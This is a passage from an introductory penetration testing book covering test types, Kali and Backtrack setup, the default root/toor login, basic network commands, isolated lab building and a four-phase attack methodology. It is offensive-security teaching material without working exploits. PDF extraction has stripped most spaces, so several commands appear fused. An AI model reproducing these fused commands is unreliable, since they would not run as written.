canimproveitssecuritythroughearlydiscoveryandmitigationofvulnerabilities,theattackershouldbeconsideredawhitehat. It is also important to comprehend the critical natureofkeepingPT findingsconfidential.Ethicalhackerswillneversharesensitiveinformationdiscoveredduringtheprocessofapenetrationtestingwithanyoneotherthantheclient.However,iftheintentistoleverageinformationforpersonalprofitorgain,theattackershouldbeconsideredablackhat.Itisalsoimportanttounderstandthatnotallpenetrationtestsarecarriedoutinthesamemanneror

havethesamepurpose.Whiteboxpenetrationtesting,alsoknownas“overt”testing,isverythoroughandcomprehensive.Thegoalofthetestistoexamineeverynookandcrannyofthetarget’ssystemornetwork. This type of test is valuable in assessing the overall security of an organization. Becausestealthisnotaconcern,manyofthetoolswewillexaminethroughoutthisbookcanberuninverbosemode.Bydisregardingstealthinfavorofthoroughnessthepenetrationtesterisoftenabletodiscovermore vulnerabilities. The downside to this type of test is that it does not provide a very accuratesimulation of how most modern day, skilled attackers exploit networks. It also does not provide achancefortheorganizationtotestitsincidentresponseorearly-alertsystems.Remember,thetesterisnottryingtobestealthy.Thetesterisattemptingtobethorough.Black box penetration testing, also known as “covert” testing, employs a significantly different

strategy. A black box test is a much more realistic simulation of the way a skilled attacker wouldattempttogainaccesstothetargetsystemsandnetwork.Thistypeoftesttradesthoroughnessandtheabilitytodetectmultiplevulnerabilitiesforstealthandpin-pointprecision.Blackboxtestingtypicallyonlyrequiresthetestertolocateandexploitasinglevulnerability.Thebenefittothistypeoftestisthatitmore closelymodels how a real-world attack takes place. Notmany attackers todaywill scan all65,535 ports on a target. Doing so is loud and will almost certainly be detected by firewalls andintrusiondetectionsystems.Skilledmalicioushackersaremuchmorediscrete.Theymayonlyscanasingleportorinterrogateasingleservicetofindawayofcompromisingandowningthetarget.Blackboxtestingalsohastheadvantageofallowingacompanytotestitsincidentresponseproceduresandtodetermineiftheirdefensesarecapableofdetectingandstoppingatargetedattack.

Page 22: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

IntroductiontoKaliandBacktrackLinux:Tools.LotsofToolsAfewyearsback, theopendiscussionor teachingofhacking techniqueswasconsideredabit taboo.Fortunately,timeshavechangedandpeoplearebeginningtounderstandthevalueofoffensivesecurity.Offensive security is now being embraced by organizations regardless of size or industries.Governmentsarealsogettingseriousaboutoffensivesecurity.Manygovernmentshavegoneonrecordstatingtheyareactivelybuildinganddevelopingoffensivesecuritycapabilities.Ultimately, penetration testing should play an important role in the overall security of your

organization.Justaspolicies,riskassessments,businesscontinuityplanning,anddisasterrecoveryhavebecomeintegralcomponentsinkeepingyourorganizationsafeandsecure,penetrationtestingneedstobe included in your overall security plan as well. Penetration testing allows you to view yourorganizationthroughtheeyesoftheenemy.Thisprocesscanleadtomanysurprisingdiscoveriesandgiveyouthetimeneededtopatchyoursystemsbeforearealattackercanstrike.Oneofthegreatthingsaboutlearninghowtohacktodayistheplethoraandavailabilityofgoodtools

toperformyourcraft.Notonlyarethetoolsreadilyavailable,butmanyofthemarestablewithseveralyearsofdevelopmentbehindthem.Maybeevenmoreimportanttomanyofyouisthefactthatmostofthesetoolsareavailablefreeofcharge.Forthepurposeofthisbook,everytoolcoveredwillbefree.It is one thing to know a tool is free. It is another to find, compile, and install each of the tools

required to complete even a basic penetration test. Although this process is quite simple on today’smodernLinuxoperatingsystems(OSs),itcanstillbeabitdauntingfornewcomers.Mostpeoplewhostart are usuallymore interested in learning how to use the tools than they are in searching the vastcornersoftheInternettolocateandinstalltools.Tobefair,youreallyshouldlearnhowtomanuallycompileandinstallsoftwareonaLinuxmachine;

orattheveryleast,youshouldbecomefamiliarwithapt-get(orthelike).

MOREADVANCEDAdvanced Package Tool (APT) is a package management system. APT allows you toquickly and easily install, update, and remove software from the command line. Asidefrom its simplicity, one of the best things about APT is the fact that it automaticallyresolves dependency issues for you. This means that if the package you are installingrequires additional software, APT will automatically locate and install the additionalsoftware.Thisisamassiveimprovementovertheolddaysof“dependencyhell”.Installing softwarewithAPT isvery straightforward.For example, letus assumeyou

wanttoinstallatoolcalledParosProxyonyourlocalLinuxmachine.Parosisatoolthatcan be used (among other things) to evaluate the security ofweb applications.WewilldiscusstheuseofaproxyintheWebBasedExploitationchapterbutfornowletusfocusontheinstallationofthetoolratherthanitsuse.Onceyouknowthenameofthepackageyouwanttoinstall,fromthecommandlineyoucanrun:apt-getinstall followedbythe name of the software youwant to install. It is always a good idea to run:apt-getupdatebeforeinstallingsoftware.Thiswillensurethatyouaregettingthelatestversionavailable.ToinstallParos,wewouldissuethefollowingcommands:

apt-getupdate

apt-getinstallparos

Before thepackage is installed,youwillbeshownhowmuchdiskspacewillbeused

Page 23: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

andyouwillbeaskedifyouwanttocontinue.Toinstallyournewsoftware,youcantype“Y”andhittheenterkey.Whentheprogramisdoneinstallingyouwillbereturnedtothe#prompt.At thispointyoucanstartParosbyentering the followingcommand into theterminal:

paros

For now you can simply close the Paros program. The purpose of this demowas tocoverinstallingnewsoftware,notinrunningorusingParos.If youprefer not to use the command linewhen installing software, there are several

Graphical User Interfaces (GUIs) available for interactingwithAPT. Themost populargraphical front end is currently aptitude. Additional package managers are outside thescopeofthisbook.Onefinalnoteoninstallingsoftware,APTrequiresyoutoknowtheexactnameofthe

softwareyouwanttoinstallbeforerunningtheinstallcommand.Ifyouareunsureofthesoftware name or how to spell it, you can use the apt-cache search command. Thishandyfunctionwilldisplayanypackagesortoolswhichmatchyoursearchandprovideabrief description of the tool. Using apt-cache search will allow you to quickly narrowdownthenameofthepackageyouarelookingfor.Forexample,ifwewereunsureoftheofficialnameoftheParospackagefromourpreviousexample,wecouldhavefirstrun:

apt-cachesearchparos

Afterreviewingtheresultingnamesanddescriptions,wewouldthenproceedwiththeapt-getinstallcommand.

Pleasenote,ifyouareusingKaliLinux,Paroswillalreadybeinstalledforyou!Evenso,theapt-getinstallcommandisstillapowerfultoolforinstallingsoftware.AbasicunderstandingofLinuxwill bebeneficial andwill payyoumountainsofdividends in the

long run. For the purpose of this book, there will be no assumption that you have prior Linuxexperience,butdoyourself a favorandcommityourself tobecomingaLinuxguru someday.Takeaclass,readabook,orjustexploreonyourown.Trustme,youwillthankmelater.Ifyouareinterestedinpenetrationtestingorhacking,thereisnowayofgettingaroundtheneedtoknowLinux.Fortunately, the security community is a very active and very giving group. There are several

organizations that have worked tirelessly to create various security-specific Linux distributions. Adistribution,or“distro”forshort,isbasicallyaflavor,type,orbrandofLinux.Among the most well known of these penetration testing distributions is one called “Backtrack”.

Backtrack Linux is your one-stop shop for learning hacking and performing penetration testing.BacktrackLinuxremindsmeofascenefromthefirstMatrixmoviewhereTankasksNeo“Whatdoyouneedbesidesamiracle?”Neorespondswith“Guns.LotsofGuns”.Atthispointinthemovie,rowsandrowsofgunsslideintoview.EverygunimaginableisavailableforNeoandTrinity:handguns,rifles,shotguns, semiautomatic, automatic, big and small from pistols to explosives, an endless supply ofdifferentweaponsfromwhichtochoose.ThatisasimilarexperiencemostnewcomershavewhentheyfirstbootupBacktrackorKaliLinux.“Tools.LotsofTools”.BacktrackLinuxandKaliLinuxareasecuritytester’sdreamcometrue.Thesedistributionsarebuilt

fromthegroundupforpenetrationtesters.Theycomepreloadedwithhundredsofsecuritytoolsthatareinstalled,configured,andreadytobeused.Bestofall,KaliandBacktrackarefree!Youcangetyour

Page 24: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

copyofBacktrackathttp://www.Backtrack-linux.org/downloads/.

ADDITIONALINFORMATIONIn the spring of 2013, the Offensive Security crew released a redefined, reenvisionedversionofBacktrackcalled“KaliLinux”.LikeBacktrack,KaliLinuxis freelyavailableand comes preconfiguredwith loads of security auditing tools.Kali can be downloadedfrom www.kali.org. If you are new to the penetration testing and hacking world, thedifferences between Backtrack and Kali may seem a bit confusing. However, forunderstanding the basics and working through the examples in this book, eitherdistributionwillwork.Inmanycases,KaliLinuxmaybeeasiertoutilize(thanBacktrack)becauseeachofthetoolsare“builtintothepath”meaningtheycanberunfromanywhere.Simply,openaterminalandenterthetoolnamealongwiththedesiredswitches.Ifyouareusing Backtrack, you often need to navigate to the specific folder before running aparticular tool. If all this talk about navigating, paths, switches, and terminals soundsconfusing,donotworry.Wewillcovereverything in thecomingchapters.Fornowyousimply need to decide which version you would like to learn with. Kali or Backtrack.Remember,thereisnowrongchoice.

NavigatingtotheBacktrack(orKali)linkwillallowyoutochoosefromeitheran.isooraVMwareimage.Ifyouchoosetodownloadthe.iso,youwillneedtoburnthe.isotoaDVD.Ifyouareunsureofhowtocomplete thisprocess,pleaseGoogle“burninganiso”.Onceyouhavecompletedtheburningprocess,youwillhaveabootableDVD.Inmostcases,startingLinuxfromabootableDVDisassimpleas putting the DVD into the drive and restarting themachine. In some instances, youmay have tochangethebootorderintheBIOSsothattheopticaldrivehasthehighestbootpriority.IfyouchoosetodownloadtheVMwareimage,youwillalsoneedsoftwarecapableofopeningand

deployingor running the image.Luckily enough, there are several good tools for accomplishing thistask. Depending on your preference, you can use VMware’s VMware Player, Sun Microsystem’sVirtualBox,orMicrosoft’sVirtualPC.Inreality,ifyoudonotlikeanyofthoseoptions,therearemanyothersoftwareoptionscapableofrunningavirtualmachine(VM)image.Yousimplyneedtochooseonethatyouarecomfortablewith.Eachofthethreevirtualizationoptionslistedaboveisavailablefreeofchargeandwillprovideyou

withtheabilitytorunVMimages.Youwillneedtodecidewhichversionisbestforyou.Thisbookwillrely heavily on the use of aBacktrackVMware image andVMware Player.At the time ofwriting,VMwarePlayerwas available at http://www.vmware.com/products/player/.Youmay need to registerforanaccounttodownloadthesoftware,buttheregistrationprocessissimpleandfree.IfyouareunsureifyoushouldusealiveDVDorVM,itissuggestedthatyougotheVMroute.Not

only is this another good technology to learn, but using VMs will allow you to set up an entirepenetration testing lab on a single machine. If that machine is a laptop, you essentially have a“travelling”PTlabsoyoucanpracticeyourskillsanytime,anywhere.IfyouchoosetorunBacktrackusingthebootableDVD,shortlyafterthesystemstarts,youwillbe

presentedwith amenu list.Youwill need to review the list carefully as it contains several different

Page 25: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

options.Thefirstcoupleofoptionsareusedtosetsomebasicinformationaboutyoursystem’sscreenresolution.IfyouarehavingtroublegettingBacktracktoboot,besuretochoosethe“StartBacktrackinSafeGraphicalMode”.Themenucontainsseveralotheroptions,buttheseareoutsidethescopeofthisbook.Toselectthedesiredbootoption,simplyusethearrowkeystohighlighttheappropriaterowandhittheenterkeytoconfirmyourselection.Figure1.1showsanexampleofboththeKaliandBacktrackbootscreens.

FIGURE1.1 AscreenshotshowingthebootoptionswhenusingtheliveDVD.

Kali Linuxworks inmuch the sameway. You need to choose between downloading an ISO andburningit toDVDordownloadingapreconfiguredVMwareimage.Regardlessofwhichversionyouselected,youcansimplyaccept thedefaultoption(byhittingtheEnterkey)whenpresentedwith theKaliLinuxGRUBbootloaderbootmenu.The use of Kali or Backtrack is not required towork through this book or to learn the basics of

hacking.AnyversionofLinuxwilldofine.ThemajoradvantageofusingKaliorBacktrackisthatallthetoolsarepreloadedforyou.IfyouchoosetouseadifferentversionofLinux,youwillneedtoinstallthetoolsbeforereadingthechapter.Itisalsoimportanttorememberthatbecausethisbookfocusesonthebasics, itdoesnotmatterwhichversionofKaliorBacktrackyouareusing.All the toolswewillexploreanduseinthisbookareavailableineveryversion.

WorkingwithYourAttackMachine:StartingtheEngineRegardless ofwhether you choose to runKali orBacktrack as either aVMorLiveDVD, once theinitialsystemisloadedyouwillbepresentedwithaloginprompt.Thedefaultusernameisrootandthedefaultpasswordistoor.Noticethedefaultpasswordissimply“root”spelledbackward.Thisdefaultusernameandpassword

combinationhasbeeninusesinceBacktrack1,andmostlikelyitwillremaininuseforfutureversions.At this point, if you are running Backtrack, you should be logged into the system and should bepresentedwith“root@bt: #”prompt.Althoughitispossibletorunmanyofthetoolswewilldiscussinthisbookdirectlyfromtheterminal,itisofteneasierfornewcomerstomakeuseoftheXWindowSystem.YoucanstarttheGUIbytypingthefollowingcommandafterthe“root@bt: #”prompt:

Page 26: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

startx

AftertypingthiscommandandhittingtheEnterkey,Xwillbegintoload.Thisenvironmentshouldseemvaguelyfamiliartomostcomputerusers.Onceithascompletelyloaded,youwillseeadesktop,icons,ataskbar,andasystemtray.JustlikeMicrosoftWindows,youcaninteractwiththeseitemsbymoving yourmouse cursor and clicking on the desired object. If you are utilizingKali Linux, afterlogginginwith thedefault root/toorusernameandpasswordyouwillbeautomatically loadedto theGUI-basedGnomedesktopenvironment.Mostoftheprogramswewilluseinthisbookwillberunfromtheterminal.Thereareseveralways

to start the terminal. InmostLinuxdistributions, youcanuse thekeyboard shortcut:Ctrl+Alt+T.Many systems also include an icon represented by a black boxwith a: >_ inside of it. This is oftenlocatedinthetaskbarormenuofthesystem.Figure1.2highlightstheterminalshortcutfortheGnomedesktop.

FIGURE1.2 Theicontolaunchaterminalwindow.

UnlikeMicrosoftWindows ormany of themodern-dayLinuxOS’s, by default, some versions ofBacktrackdonotcomewithnetworkingenabled.Thissetup isbydesign.Asapenetration tester,weoftentrytomaintainastealthyorundetectedpresence.Nothingscreams“LookatMe!!LookatMe!!I’mHere!!!”likeacomputerthatstartsupandinstantlybeginsspewingnetworktrafficbybroadcastingrequestsforaDynamicHostConfigurationProtocol(DHCP)serverandInternetprotocol(IP)address.Toavoidthisissue,thenetworkinginterfacesofyourBacktrackmachinemaybeturneddown(off)bydefault.Theeasiestwaytoenablenetworkingisthroughtheterminal.Openaterminalwindowbyclickingon

theterminaliconasshowninFigure1.2or(ifyouareusingBacktrack)byusingthekeyboardshortcutCtrl+Alt+T.Oncetheterminalopens,enterthefollowingcommand:

ifconfig–a

Thiscommandwilllistalltheavailableinterfacesforyourmachine.Attheminimum,mostmachineswillincludeaneth0andalointerface.The“lo”interfaceisyourloopbackinterface.The“eth0”isyourfirst Ethernet card. Depending on your hardware, you may have additional interfaces or differentinterfacenumberslisted.IfyouarerunningBacktrackthroughaVM,yourmaininterfacewillusuallybeeth0.Toturnthenetworkcardon,youenterthefollowingcommandintoaterminalwindow:ifconfigeth0up

Letusexaminethiscommandinmoredetail;“ifconfig”isaLinuxcommandthatmeans“Iwanttoconfigureanetworkinterface”.Aswealreadyknow,“eth0”isthefirstnetworkdeviceonoursystem(remember computers often start counting at 0 not 1), and the keyword “up” is used to activate theinterface. So we can roughly translate the command you entered as “I want to configure the firstinterfacetobeturnedon”.Now that the interface is turned on, we need to get an IP address. There are two basic ways to

Page 27: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

complete this task. Our first option is to assign the address manually by appending the desired IPaddresstotheendofthepreviouscommand.Forexample,ifwewantedtoassignournetworkcard,anIPaddressof192.168.1.23,wewouldtype(assumingyourinterfaceis“eth0”):

ifconfigeth0up192.168.1.23

Atthispoint, themachinewillhaveanIPaddressbutwillstillneedagatewayandDomainNameSystem(DNS)server.AsimpleGooglesearchfor“settingupnetworkinterfacecard(NIC)Linux”willshowyouhow to enter that information.Youcanalwayscheck to see if your commandsworkedbyissuingthefollowingcommandintoaterminalwindow:

ifconfig–a

Runningthiswillallowyoutoseethecurrentsettingsforyournetworkinterfaces.Becausethisisabeginner’s guide and for the sake of simplicity, we will assume that stealth is not a concern at themoment.Inthatcase,theeasiestwaytogetanaddressistouseDHCP.ToassignanaddressthroughDHCP,yousimplyissuethecommand:

dhclient

Pleasenote,dhclientwillattempttoautomaticallyassignanIPaddresstoyourNICandconfigureallrequiredsettingsincludingDNSandGatewayinformation.IfyouarerunningKaliorBacktrackLinuxfromVMwarePlayer,theVMwaresoftwarewillactastheDHCPserver.Regardless of whether you used DHCP or statically assigned an address to your machine, your

machine should now have an IP address. If you are using Kali Linux, your networking should bepreconfigured.However,ifyouhaveanyissuestheprecedingsectionwillbehelpful.ThelastthingtoaddressishowtoturnoffBacktrackorKali.AswithmostthingsinLinux,therearemultiplewaystoaccomplish this task. One of the easiest ways is to enter the following command into a terminalwindow:

poweroff

ALERT!Itisalwaysagoodideatopowerofforrebootyourattackingmachinewhenyouaredonerunning a pen test. You can also run the command “shutdown” or “shutdown now”commandtopoweroffyourmachine.Thisgoodhabitpreventsyoufromaccidentlyleavingatoolrunningorinadvertentlysendingtrafficfromyournetworkwhileyouareawayfromyourmachine.

Youcanalso substitute thepoweroff commandwith thereboot command ifyouwouldprefer torestartthesystemratherthanshutitdown.Before proceeding, you should take severalminutes to review and practice all the steps discussed

thusfarincludingthefollowing:Poweron/StartupBacktrackorKaliLoginwiththedefaultusernameandpasswordStartX(theWindowsGUI)ifyouareusingBacktrackViewallthenetworkinterfacesonyourmachineTurnup(on)thedesirednetworkinterfaceAssignanIPaddressmanually

Page 28: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

ViewthemanuallyassignedIPaddressAssignanIPaddressthroughDHCPViewthedynamicallyassignedaddressRebootthemachineusingthecommandlineinterfacePoweroffthemachineusingthecommandlineinterface.

TheUseandCreationofaHackingLabEveryethicalhackermusthaveaplace topracticeandexplore.Mostnewcomersareconfusedabouthowtheycanlearntousehackingtoolswithoutbreakingthelaworattackingunauthorizedtargets.Thisis most often accomplished through the creation of a personal “hacking lab”. A hacking lab is asandboxed environment where your traffic and attacks have no chance of escaping or reachingunauthorizedandunintendedtargets.Inthisenvironment,youarefreetoexploreall thevarioustoolsandtechniqueswithoutfearthatsometrafficorattackwillescapeyournetwork.Attheminimum,thelab is set up to contain at least twomachines: one attacker and one victim. In other configurations,severalvictimmachinescanbedeployedsimultaneouslytosimulateamorerealisticnetwork.Theproperuseandsetupofahackinglabisvitalbecauseoneofthemosteffectivemeanstolearn

something is by doing that thing. Learning and mastering the basics of penetration testing is nodifferent.Thesingle,mostcrucialpointofanyhackerlabistheisolationofthenetwork.Youmustconfigure

yourlabnetworkinsuchawaythatitisimpossiblefortraffictoescapeortraveloutsideofthenetwork.Mistakeshappenandeventhemostcarefulpeoplecanfat-fingerormistypeanIPaddress.Itisasimplemistaketomistypeasingledigit inanIPaddress,but thatmistakecanhavedrasticconsequencesforyouandyourfuture.Itwouldbeashame(andmoreimportantlyillegal)foryoutorunaseriesofscansandattacksagainstwhatyouthoughtwasyourhackerlabtargetwithanIPaddressof172.16.1.1onlytofindoutlaterthatyouactuallyenteredtheIPaddressas72.16.1.1.Thesimplestandmosteffectivewaytocreateasandboxedorisolatedenvironmentistophysically

unplugordisconnectyournetworkfromtheInternet.Ifyouareusingphysicalmachines, it isbest torelyonhardwiredEthernetcablesandswitchestoroutetraffic.Alsobesuretodouble-andtriple-checkthat all your wireless NICs are turned off. Always carefully inspect and review your network forpotentialleaksbeforecontinuing.Althoughtheuseofphysicalmachines tocreateahackinglab isanacceptablesolution, theuseof

VMsprovidesseveralkeybenefits.First,giventoday’sprocessingpower,itiseasytosetupandcreateaminihacking labonasinglemachineor laptop. Inmostcases,anaveragemachinecanrun twoorthreeVMssimultaneouslybecauseourtargetscanbesetupusingminimalresources.Evenrunningonalaptop,itispossibletoruntwoVMsatthesametime.Theaddedbenefitofusingalaptopisthefactthat your lab is portable.With the cheap cost of external storage today, it is easily possible to packhundredsofVMsonasingleexternalharddrive.Thesecanbeeasilytransportedandsetupinamatterofminutes.Anytimeyouareinterestedinpracticingyourskillsorexploringanewtool,simplyopenupKaliLinux,Backtrack,oryourattackmachineanddeployaVMasatarget.Settingupalablikethisgivesyoutheabilitytoquicklyplug-and-playwithvariousOSsandconfigurations.AnotherbenefitofusingVMsinyourpentestinglabisthefactthatitisverysimpletosandboxyour

entiresystem.SimplyturnoffthewirelesscardandunplugthecablefromtheInternet.Aslongasyouassignedaddressestothenetworkcardslikewecoveredintheprevioussection,yourphysicalmachineandVMswillstillbeabletocommunicatewitheachotherandyoucanbecertainthatnoattacktraffic

Page 29: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

willleaveyourphysicalmachine.Ingeneral, penetration testing is a destructiveprocess.Manyof the tools and exploitswe run can

causedamageortakesystemsoffline.Insomecases,it iseasiertoreinstall theOSorprogramratherthan attempt to repair it. This is another area where VMs shine. Rather than having to physicallyreinstallaprogramlikeSQLserverorevenanentireOS,theVMcanbequicklyresetorrestoredtoitsoriginalconfiguration.Inorder to followalongwith eachof the examples in this bookyouwill need access to the three

VMs:KaliorBacktrackLinux:thescreenshots,examples,andpathsinthisbookaretakenfromKaliLinuxbutBacktrack5(andanypreviousedition)willworkaswell.IfyouareusingBacktrack5,youwillneedtolocatetheproperpathforthetoolbeingdiscussed.WithBacktrackmosttoolscanbelocatedbynavigatingtheApplications→Backtrackmenuonthedesktoporbyusingtheterminalandmovingintothe/pentestdirectory.RegardlessofwhetheryouchooseBacktrackorKali,thisVMwillserveasyourattackermachineforeachexercise.

Metasploitable:MetasploitableisaLinuxVMwhichwascreatedinanintentionallyinsecuremanner.MetasploitableisavailableforfreefromSourceForgeathttp://sourceforge.net/projects/metasploitable/.Metasploitablewillserveasoneofourtargetswhenwecoverexploitation.

WindowsXP:whilemostoftheexercisesinthisbookwillrunagainstMetasploitable,WindowsXP(preferablywithnoservicepacksinstalled)willalsobeusedasatargetthroughoutthebook.Withitswidedeploymentbaseandpastpopularity,mostpeoplehavelittletroublegettingavalidcopyofWindowsXP.AdefaultinstallationofWindowsXPmakesanexcellenttargetforlearninghackingandpenetrationtestingtechniques.Forthedurationofthisbook,eachofthesystemslistedabovewillbedeployedasaVMonasingle

laptop.Networkingwillbeconfiguredsothatallmachinesbelongtothesamesubnetandarecapableofcommunicatingwitheachother.

ALERT!EvenifyoucannotgetyourhandsonaWindowsXPVM,youcanstillfollowalongwithmanyoftheexamplesinthisbookbyutilizingMetasploitable.AnotheroptionistosimplymakeasecondcopyofBacktrack(orKali).Ifyouusetwocopiesofyourattackmachine,onecanserveastheattackerandoneasthetarget.

PhasesofaPenetrationTestLikemostthings,theoverallprocessofpenetrationtestingcanbebrokendownintoaseriesofstepsorphases.Whenputtogether,thesestepsformacomprehensivemethodologyforcompletingapenetrationtest.Carefulreviewofunclassifiedincidentresponsereportsorbreechdisclosuressupportstheideathatmostblackhathackersalsofollowaprocesswhenattackingatarget.Theuseofanorganizedapproachis important because it not only keeps the penetration tester focused and moving forward, but alsoallowstheresultsoroutputfromeachsteptobeusedintheensuingsteps.

Page 30: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Theuseofamethodologyallowsyoutobreakdownacomplexprocessintoaseriesofsmaller,moremanageable tasks.Understandingand followingamethodology is an important step inmastering thebasics of hacking. Depending on the literature or class you are taking, this methodology usuallycontainsbetweenfourandsevenstepsorphases.Althoughtheoverallnamesornumberofstepscanvarybetweenmethodologies, the important thing is that theprocessprovidesacompleteoverviewofthe penetration testing process. For example, some methodologies use the term “InformationGathering”,whereasotherscallthesameprocess“Reconnaissance”or“Recon”oreven“OSINT”.Forthepurposeof thisbook,wewill focusontheactivitiesof thephaserather thanthename.Afteryouhavemasteredthebasics,youcanreviewthevariouspenetrationtestingmethodologiesandchooseonethatyoulikebest.Tokeepthingssimple,wewilluseafour-stepprocesstoexploreandlearnpenetrationtesting.Ifyou

searcharoundandexamineothermethodologies(whichisimportanttodo),youmayfindprocessesthatincludemore or less steps thanwe are using aswell as different names for eachof the phases. It isimportanttounderstandthatalthoughthespecificterminologymaydiffer,mostsolidpenetrationtestingmethodologiescoverthesametopics.There isoneexception to this rule: thefinalstep inmanyhackingmethodologies isaphasecalled

“hiding”,“coveringyourtracks”,or“removingevidence”.Becausethisbookfocusesonunderstandingthe basics, it will not be included in thismethodology.Once you have a solid understanding of thebasics,youcangoontoexploreandlearnmoreaboutthisphase.The remainder of this book will be dedicated to reviewing and teaching the following steps:

Reconnaissance,Scanning,Exploitation,andPostExploitation(orMaintainingAccess).Sometimes,ithelpstovisualizethesestepsasaninvertedtriangle.Figure1.3demonstratesthisapproach.Thereasonweuseaninvertedtriangleisbecausetheoutcomeofinitialphasesisverybroad.Aswemovedownintoeachphase,wecontinuetodrilldowntoveryspecificdetails.

FIGURE1.3 Zeroentryhackingpenetrationtestingmethodology.

Theinvertedtriangleworkswellbecauseitrepresentsourjourneyfromthebroadtothespecific.Forexample, as we work through the reconnaissance phase, it is important to cast our nets as wide aspossible. Every detail and every piece of information about our target is collected and stored. Thepenetrationtestingworldisfullofmanygreatexampleswhenaseeminglytrivialpieceofinformationwas collected in the initial phase; and later turned out to be a crucial component for successfullycompleting an exploit and gaining access to the system. In later phases,we begin to drill down andfocusonmorespecificdetailsofthetarget.Whereisthetargetlocated?WhatistheIPaddress?WhatOSisthetargetrunning?Whatservicesandversionsofsoftwarearerunningonthesystem?Asyoucan

Page 31: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

see,eachofthesequestionsbecomesincreasinglymoredetailedandgranular.Itisimportanttonotethataskingandansweringthesequestionsinaparticularorderisimportant.

ADDITIONALINFORMATIONAsyourskillsprogressbeyondthebasicsyoushouldbegintoweanyourselfofftheuseof“vulnerability scanners” in your attack methodology. When you are starting off, it isimportant to understand the proper use of vulnerability scanners as they can help youconnect thedotsandunderstandwhatvulnerabilities look like.However,asyoubecomeexperienced,vulnerabilityscannersmaybecomeacrutchtothe“hackermentality”youaretrying to hone. Continuous and exclusive reliance on this class of tool may eventuallyhindergrowthandunderstandingofhowvulnerabilitiesworkandhow to identify them.Most advanced penetration testers I know rarely use vulnerability scanners unless theyhavenootheroptions.However, because this book covers the basics,wewill discuss vulnerability scanners

andtheirproperuseintheZeroEntryHackingmethodology.

Itisalsoimportanttounderstandtheorderofeachstep.Theorderinwhichweconductthestepsisveryimportantbecausetheresultoroutputofonestepoftenneedstobeusedinthestepbelowit.Youneedtounderstandmorethanjusthowtosimplyrunthesecuritytoolsinthisbook.Understandingthepropersequenceinwhichtheyarerunisvitaltoperformingacomprehensiveandrealisticpenetrationtest.For example, many newcomers skip the Reconnaissance phase and go straight to exploiting their

target.Not completing steps1and2will leaveyouwitha significantly smaller target list andattackvectoroneach target. Inotherwords,youbecomeaone-trick-pony.Althoughknowinghowtouseasingle toolmight be impressive to your friends and family, it is not to the security community andprofessionalswhotaketheirjobseriously.Itmayalsobehelpfulfornewcomerstothinkofthestepswewillcoverasacircle.Itisveryrareto

findcriticalsystemsexposeddirectlytotheInternetintoday’sworld.Inmanycases,penetrationtestersmustaccessandpenetrateaseriesofrelatedtargetsbeforetheycandirectlyattacktheoriginaltarget.Inthese cases, eachof the steps is often repeated.Theprocessof compromisingonemachine and thenusingthatmachinetocompromiseanothermachineiscalledpivoting.Penetrationtestersoftenneedtopivotthroughseveralcomputersornetworksbeforereachingtheirfinaltarget.Figure1.4introducesthemethodologyasacyclicprocess.

Page 32: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

FIGURE1.4 CyclicalrepresentationoftheZEHmethodology;zeroentryhacking:afour-stepmodel.

Letusbrieflyrevieweachofthefourstepsthatwillbecoveredsoyouhaveasolidunderstandingofthem. The first step in any penetration test is “reconnaissance”. This phase deals with informationgathering about the target. As wasmentioned previously, themore information you collect on yourtarget, themorelikelyyouaretosucceedinlatersteps.Reconnaissancewillbediscussedindetail inChapter2.Regardlessof the informationyouhadtobeginwith,aftercompletingin-depthreconnaissanceyou

shouldhavealistoftargetIPaddressesthatcanbescanned.Thesecondstepinourmethodologycanbebroken out into two distinct activities. The first activitywe conduct is port scanning.Oncewe havefinishedwithportscanning,wewillhavealistofopenportsandpotentialservicerunningoneachofthetargets.Thesecondactivityinthescanningphaseisvulnerabilityscanning.Vulnerabilityscanningistheprocessoflocatingandidentifyingspecificweaknessesinthesoftwareandservicesofourtargets.Withtheresultsfromstep2inhand,wecontinuetothe“exploitation”phase.Onceweknowexactly

whatportsareopen,whatservicesarerunningonthoseports,andwhatvulnerabilitiesareassociatedwiththoseservices,wecanbegintoattackourtarget.Itisthisphaseanditstoolswhichprovidepush-button-mass-exploitationthatmostnewcomersassociatewith“real”hacking.Exploitationcaninvolvelotsofdifferenttechniques,tools,andcode.WewillreviewafewofthemostcommontoolsinChapter4.Theultimategoalofexploitationistohaveadministrativeaccess(completecontrol)overthetargetmachine.

